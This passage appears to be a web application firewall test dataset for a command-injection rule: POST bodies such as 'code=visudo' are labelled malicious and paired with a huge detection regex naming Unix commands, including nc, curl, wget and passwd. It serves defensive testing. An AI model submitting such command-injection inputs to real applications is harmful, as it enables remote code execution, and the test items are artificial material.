&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:(?:d|ctave)(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:x|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:[\\s\\x0b&\\),<>\\|]|$|2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:[\\s\\x0b&\\),<>\\|]|$|tp(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$|o(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:[^\\s\\x0b]{1,10}\\b|[\\s\\x0b&\\),<>\\|]|$)|dstat|(?:gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$))|k(?:g(?:[\\s\\x0b&\\),<>\\|]|$|_?info)|exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:[\\s\\x0b&\\),<>\\|]|$|y(?:[\\s\\x0b&\\),<>\\|]|$)|int(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$)))|t(?:x(?:[\\s\\x0b&\\),<>\\|]|$)|ar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep))|wd(?:[\\s\\x0b&\\),<>\\|]|$|\\.db)|(?:xz|grep|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "Block execution chef command" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=visudo\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "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&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:(?:d|ctave)(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:x|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:[\\s\\x0b&\\),<>\\|]|$|2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:[\\s\\x0b&\\),<>\\|]|$|tp(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$|o(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:[^\\s\\x0b]{1,10}\\b|[\\s\\x0b&\\),<>\\|]|$)|dstat|(?:gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$))|k(?:g(?:[\\s\\x0b&\\),<>\\|]|$|_?info)|exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:[\\s\\x0b&\\),<>\\|]|$|y(?:[\\s\\x0b&\\),<>\\|]|$)|int(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$)))|t(?:x(?:[\\s\\x0b&\\),<>\\|]|$)|ar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep))|wd(?:[\\s\\x0b&\\),<>\\|]|$|\\.db)|(?:xz|grep|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "Block execution of visudo" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=cscli alerts list\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-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\\")[\\s\\x0b]+)*[\\s\\x0b]*[\\\"']*(?:[\\\"'-\\+\\--9\\?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:7z(?:[\\s\\x0b&\\),<>\\|]|$|[arx](?:[\\s\\x0b&\\),<>\\|]|$))|a(?:a-[^\\s\\x0b]{1,10}\\b|(?:b|w[ks]|l(?:ias|pine)|tobm|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:t(?:[\\s\\x0b&\\),<>\\|]|$|-get)|parmor_[^\\s\\x0b]{1,10}\\b)|r(?:[\\s\\x0b&\\),<>\\|]|$|j(?:[\\s\\x0b&\\),<>\\|]|$|-register|disp)|(?:p|ch)(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]